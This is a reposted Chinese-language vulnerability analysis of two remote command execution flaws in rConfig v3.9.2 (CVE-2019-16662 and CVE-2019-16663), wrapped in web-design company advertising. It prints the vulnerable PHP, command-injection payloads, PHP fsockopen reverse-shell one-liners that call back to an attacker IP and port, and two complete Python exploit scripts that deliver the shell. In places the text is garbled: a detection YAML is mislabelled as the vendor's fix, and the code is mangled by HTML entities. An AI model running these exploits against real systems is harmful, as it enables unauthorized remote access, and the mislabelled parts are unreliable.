這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)rConfig v3.9.2遠(yuǎn)程命令執(zhí)行的漏洞分析,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
創(chuàng)新互聯(lián)建站是一家集網(wǎng)站建設(shè),海晏企業(yè)網(wǎng)站建設(shè),海晏品牌網(wǎng)站建設(shè),網(wǎng)站定制,海晏網(wǎng)站建設(shè)報價,網(wǎng)絡(luò)營銷,網(wǎng)絡(luò)優(yōu)化,海晏網(wǎng)站推廣為一體的創(chuàng)新建站企業(yè),幫助傳統(tǒng)企業(yè)提升企業(yè)形象加強(qiáng)企業(yè)競爭力??沙浞譂M足這一群體相比中小企業(yè)更為豐富、高端、多元的互聯(lián)網(wǎng)需求。同時我們時刻保持專業(yè)、時尚、前沿,時刻以成就客戶成長自我,堅(jiān)持不斷學(xué)習(xí)、思考、沉淀、凈化自己,讓我們?yōu)楦嗟钠髽I(yè)打造出實(shí)用型網(wǎng)站。
rConfig是一款開源的網(wǎng)絡(luò)設(shè)備配置管理實(shí)用工具,在rConfig的幫助下,網(wǎng)絡(luò)工程師可以快速、頻繁地管理網(wǎng)絡(luò)設(shè)備的快照。
在近期的一次研究過程中,我在rConfig的兩個代碼文件中分別找到了兩個遠(yuǎn)程代碼執(zhí)行漏洞。
第一個文件為ajaxServerSettingsChk.php,其中的rootUname參數(shù)在源文件的第2行中定義,隨后會在第13行傳遞給exec函數(shù),而攻擊者可以通過rootUname參數(shù)發(fā)送特制的GET請求,并以此來觸發(fā)未授權(quán)的遠(yuǎn)程代碼執(zhí)行。攻擊者只需要將惡意命令注入到這個參數(shù)中,并在目標(biāo)服務(wù)器上執(zhí)行,即可完成漏洞利用。
第二個RCE漏洞位于search.crud.php文件中,攻擊者可以發(fā)送特制的GET請求來觸發(fā)該漏洞。這個請求需要包含兩個參數(shù),其中的searchTerm參數(shù)可以包含任意值,但該參數(shù)要有,否則第63行的exec函數(shù)將無法正常執(zhí)行。
在之前的RCE漏洞挖掘過程中,我曾開發(fā)過一個簡單的Python腳本來尋找目標(biāo)可能存在的所有不安全函數(shù),這一次我同樣打算使用這個腳本:【RCEScanner】。
運(yùn)行該腳本后,我們可以查看到腳本的輸出結(jié)果。在檢查文件的過程中,我發(fā)現(xiàn)了一個名為ajaxServerSettingsChk.php的文件,文件路徑為install/lib/ajaxHandlers/ajaxServerSettingsChk.php,其部分代碼段如下:
<?php$rootUname = $_GET['rootUname']; // line 2$array = array();/* check PHP Safe_Mode is off */if (ini_get('safe_mode')) { $array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;Fail - php safe mode is on - turn it off before you proceed with the installation&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;br/&amp;gt;';} else { $array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - php safe mode is off&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';}/* Test root account details */$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&amp;gt;&amp;amp;1'; // line 12exec($rootTestCmd1, $cmdOutput, $err); // line 13$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);if ($homeDirPerms == '0777') { $array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - root account details are good &amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';} else { $array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;The root details provided have not passed: ' . $cmdOutput[0] . '&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';}// reset /home dir permissions$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&amp;gt;&amp;amp;1'; // line 21exec($rootTestCmd2, $cmdOutput, $err); // line 22echo json_encode($array);
在第二行代碼中,腳本會將GET請求中的rootUname參數(shù)值保存到$rootUname中。在第十二行,代碼將$rootUname與一些其他的字符串拼接在一起,然后保存到了$rootTestCmd1中,最后傳遞給第十三行的exec函數(shù)。剩下的代碼同理以此類推。
因此,我們只需要注入需要執(zhí)行的命令,然后在第十三行跳出原代碼的執(zhí)行流程,并執(zhí)行我們的代碼即可。為了實(shí)現(xiàn)這個目標(biāo),我們需要使用下列Payload:
; your command #
測試Payload時,我修改了代碼,并顯示第十三行exec()函數(shù)的運(yùn)行結(jié)果,然后編碼并發(fā)送Payload:
如上圖所示,我們可以通過rootUname參數(shù)發(fā)送經(jīng)過編碼的“; id #”命令。為了拿到Shell,我們可以使用下列Payload:
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");
注意:我之所以使用這個payload,是為了避免使用nc,因?yàn)檫@個程序在CentOS 7.7 mini上默認(rèn)是沒有安裝的。
編碼payload并使用Burp發(fā)送后,結(jié)果如下:
沒錯,我們成功拿到了Shell!
為了自動化實(shí)現(xiàn)整個過程,我編寫了一個Python腳本:
#!/usr/bin/python# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution# Date: 18/09/2019# Exploit Author: Askar (@mohammadaskar2)# CVE : CVE-2019-16662# Vendor Homepage: https://rconfig.com/# Software link: https://rconfig.com/download# Version: v3.9.2# Tested on: CentOS 7.7 / PHP 7.2.22import requestsimport sysfrom urllib import quotefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)if len(sys.argv) != 4: print "[+] Usage : ./exploit.py target ip port" exit()target = sys.argv[1]ip = sys.argv[2]port = sys.argv[3]payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))install_path = target + "/install"req = requests.get(install_path, verify=False)if req.status_code == 404: print "[-] Installation directory not found!" print "[-] Exploitation failed !" exit()elif req.status_code == 200: print "[+] Installation directory found!"url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payloadprint "[+] Triggering the payload"print "[+] Check your listener !"requests.get(url_to_send, verify=False)
運(yùn)行這個腳本之后,我們可以看到如下所示的結(jié)果:
我們再次拿到了shell!
在RCEScanner的掃描結(jié)果列表中,還有一個名叫“l(fā)ib/crud/search.crud.php”的文件吸引了我的注意,改文件中包含下列代碼:
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) { // line 25 /* validation */ $searchTerm = '"' . $_GET['searchTerm'] . '"'; // line 27 $catId = $_GET['catId']; $catCommand = $_GET['catCommand']; // line 29 $nodeId = $_GET['nodeId']; // line 30 $grepNumLineStr = $_GET['numLinesStr']; $grepNumLine = $_GET['noLines']; $username = $_SESSION['username']; // if nodeId was empty set it to blank if (empty($nodeId)) { $nodeId = ''; } else { $nodeId = '/' . $nodeId . '/'; } $returnArr = array(); // Get the category Name from the Category selected $db2->query("SELECT categoryName from `categories` WHERE id = :catId"); $db2->bind(':catId', $catId); $resultCat = $db2->resultset(); $returnArr['category'] = $resultCat[0]['categoryName']; // get total file count $fileCount = array(); $subDir = ""; if (!empty($returnArr['category'])) { $subDir = "/" . $returnArr['category']; } exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr); // line 57 $returnArr['fileCount'] = $fileCountArr['0']; //next find all instances of the search term under the specific cat/dir $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done'; // line 61 // echo $command;die();exec($command, $searchArr); // line 63
首先,我們需要發(fā)送包含searchTerm參數(shù)的GET請求來繞過第25行的if語句,這樣就可以進(jìn)入代碼執(zhí)行體了。接下來,我們需要發(fā)送包含catCommand參數(shù)的另一個GET請求,并注入我們的Payload。這個參數(shù)會在第61行與其他的字符串拼接起來,在存儲到$command中之后,便會在第63行傳遞給exec()執(zhí)行。
在這里,我打算用一個sleep()來測試該邏輯是否可行,這個Payload會讓代碼掛起5秒,分析之后,我發(fā)現(xiàn)這里可以用多個Payload來繞過字符串轉(zhuǎn)義并執(zhí)行我們的代碼:
""&&$(`sleep 5`)#
使用Burp發(fā)送請求后,得到的結(jié)果如下:
沒錯,我們的sleep邏輯生效了,也就是注入的命令成功執(zhí)行了。
我們的目的是拿到Shell,這里我使用了一段PHP代碼,然后跟其他字符串進(jìn)行了拼接:
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#
為了自動化實(shí)現(xiàn)整個漏洞利用過程,我編寫了一個簡單的Python腳本:
#!/usr/bin/python# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution# Date: 18/09/2019# Exploit Author: Askar (@mohammadaskar2)# CVE : CVE-2019-16663# Vendor Homepage: https://rconfig.com/# Software link: https://rconfig.com/download# Version: v3.9.2# Tested on: CentOS 7.7 / PHP 7.2.22import requestsimport sysfrom urllib import quotefrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)if len(sys.argv) != 6: print "[+] Usage : ./exploit.py target username password ip port" exit()target = sys.argv[1]username = sys.argv[2]password = sys.argv[3]ip = sys.argv[4]port = sys.argv[5]request = requests.session()login_info = { "user": username, "pass": password, "sublogin": 1}login_request = request.post( target+"/lib/crud/userprocess.php", login_info, verify=False, allow_redirects=True )dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)if dashboard_request.status_code == 200: print "[+] LoggedIn successfully" payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port) encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload)) print "[+] triggering the payload" print "[+] Check your listener !" exploit_req = request.get(encoded_request)elif dashboard_request.status_code == 302: print "[-] Wrong credentials !"exit()
運(yùn)行該漏洞利用腳本之后,我們得到了下圖所示的結(jié)果:
沒錯,我們又拿到了Shell!
隨后,我們順著Github找到了該系統(tǒng)得源碼,然后找到了最新的漏洞修復(fù)補(bǔ)丁,其中更新的部分代碼如下:
name: poc-yaml-rconfig-cve-2019-16663 set: r: randomInt(800000000, 1000000000) r1: randomInt(800000000, 1000000000) rules: - method: GET path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23 expression: | response.status == 200 && response.body.bcontains(bytes(string(r + r1))) detail: author: 17bdw links: - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071 - https://www.cnblogs.com/17bdw/p/11840588.html - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
上述就是小編為大家分享的rConfig v3.9.2遠(yuǎn)程命令執(zhí)行的漏洞分析了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。
網(wǎng)站題目:rConfigv3.9.2遠(yuǎn)程命令執(zhí)行的漏洞分析
文章轉(zhuǎn)載:http://aaarwkj.com/article34/ipoepe.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供面包屑導(dǎo)航、ChatGPT、移動網(wǎng)站建設(shè)、外貿(mào)網(wǎng)站建設(shè)、網(wǎng)站設(shè)計(jì)、軟件開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)